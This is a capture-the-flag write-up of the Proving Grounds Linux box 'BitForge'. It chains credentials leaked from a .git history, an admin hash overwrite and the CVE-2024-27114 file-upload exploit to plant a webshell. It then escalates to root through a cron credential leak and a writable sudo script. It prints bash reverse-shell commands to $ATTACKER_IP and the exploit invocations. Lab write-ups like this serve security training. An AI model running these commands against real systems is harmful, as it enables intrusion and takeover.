# BitForge Writeup - Proving Grounds

> Intermediate Linux box where an exposed .git history leaks database credentials used to reset SOPlanning's admin hash, unlocking CVE-2024-27114 for a shell, then a leaky cron job and a writable sudo script give root.

- **URL:** https://hackindex.io/writeups/bitforge
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** hardcoded-credentials, authentication-bypass, file-upload, cron-abuse, sudo-misconfiguration, soplanning, cve-2024-27114
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

BitForge's web site leaks hardcoded database credentials through an exposed `.git` history. Those credentials reset SOPlanning's admin password hash to a known value, unlocking an authenticated file-upload RCE (CVE-2024-27114) for a www-data shell. A cron job that leaks credentials in its process arguments gives lateral movement to jack, and a writable sudo-permitted Flask script finishes the job as root.

## Reconnaissance

### Nmap

Scan the target.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp   open  ssh    OpenSSH 9.6p1 Ubuntu
# 80/tcp   open  http   Apache httpd - BitForge Solutions website
# 3306/tcp open  mysql  MySQL 8.0.40
```

Add the application's virtual hosts to `/etc/hosts`.

```bash
echo '$TARGET_IP bitforge.lab plan.bitforge.lab' | sudo tee -a /etc/hosts
```

### Web enumeration

Brute force directories.

```bash
gobuster dir -u http://bitforge.lab -w /usr/share/wordlists/dirb/common.txt
# /.git/HEAD            (Status: 200)  # exposed git repository
# /index.php            (Status: 200)
# /static/              (Status: 301)
```

## Exploitation

### Git repository credential leak

Dump the exposed repository and walk its history.

```bash
git-dumper http://bitforge.lab/.git/ /tmp/bitforge-git
cd /tmp/bitforge-git
git log --oneline
# 1ce700a (HEAD -> main) created .env to store the database configuration
# eaf6c81 removing db-config due to hard coded credentials
# 18833b8 added the database configuration
# f4f6de6 setting up login and index page for the BitForge website
```

The removed commit still holds the database config.

```bash
git show eaf6c81
# $dbHost = 'localhost';
# $dbName = 'bitforge_customer_db';
# $username = 'BitForgeAdmin';
# $password = '$BITFORGEADMIN_PASSWORD';
```

### SOPlanning admin hash reset

Connect to MariaDB with the recovered credentials and inspect SOPlanning's database.

```bash
mysql -h $TARGET_IP -u BitForgeAdmin -p$BITFORGEADMIN_PASSWORD --skip-ssl
# MariaDB [(none)]> SHOW DATABASES;
# MariaDB [(none)]> USE soplanning;
# MariaDB [soplanning]> SELECT * FROM planning_user;
```

Rather than cracking the admin hash, overwrite it with the known SHA-1 hash of `admin`, SOPlanning's default demo password.

```sql
UPDATE planning_user SET password='df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id='ADM';
```

### SOPlanning file-upload RCE (CVE-2024-27114)

Log in at `http://plan.bitforge.lab` with `admin:admin` and run the authenticated file-upload exploit.

```bash
searchsploit -m 52082
python3 52082.py -t http://plan.bitforge.lab/www -u admin -p admin
# Webshell uploaded: http://plan.bitforge.lab/www/upload/files/ru56jq/gk2.php?cmd=<command>
```

Start a listener and trigger a reverse shell through the webshell.

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'
```

The listener catches a shell as `www-data`. Stabilize it.

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
```

## Privilege Escalation

### Lateral movement via a leaky cron job

A cron job runs a MySQL backup whose credentials are visible in the process arguments.

```bash
ps -ef | grep mysqldump
# jack   mysqldump -u jack -p$JACK_PASSWORD
```

```bash
ssh jack@$TARGET_IP
# jack@bitforge:~$ id
# uid=1001(jack) gid=1001(jack) groups=1001(jack)
```

### Writable sudo Flask application

Check sudo permissions.

```bash
sudo -l
# (root) NOPASSWD: /usr/bin/flask_password_changer
```

```bash
ls -la /opt/password_change_app/
# drwxr-xr-x 3 jack jack 4096 Jan 16  2025 .
# -rw-r--r-- 1 jack jack  134 Jan 16  2025 app.py
# drwxr-xr-x 2 jack jack 4096 Jan 16  2025 templates
```

The app directory and `app.py` are owned by `jack`, so replace the script with a reverse shell payload.

```python
import os
os.system("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'")
```

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
sudo /usr/bin/flask_password_changer
```

The sudo-permitted script runs the payload as root.

```bash
id
# uid=0(root) gid=0(root) groups=0(root)
```

Related

## References

- [CVE-2024-27114](https://nvd.nist.gov/vuln/detail/CVE-2024-27114) - SOPlanning authenticated arbitrary file upload leading to remote code execution.
- [Exploit-DB 52082](https://www.exploit-db.com/exploits/52082) - SOPlanning file upload exploit.
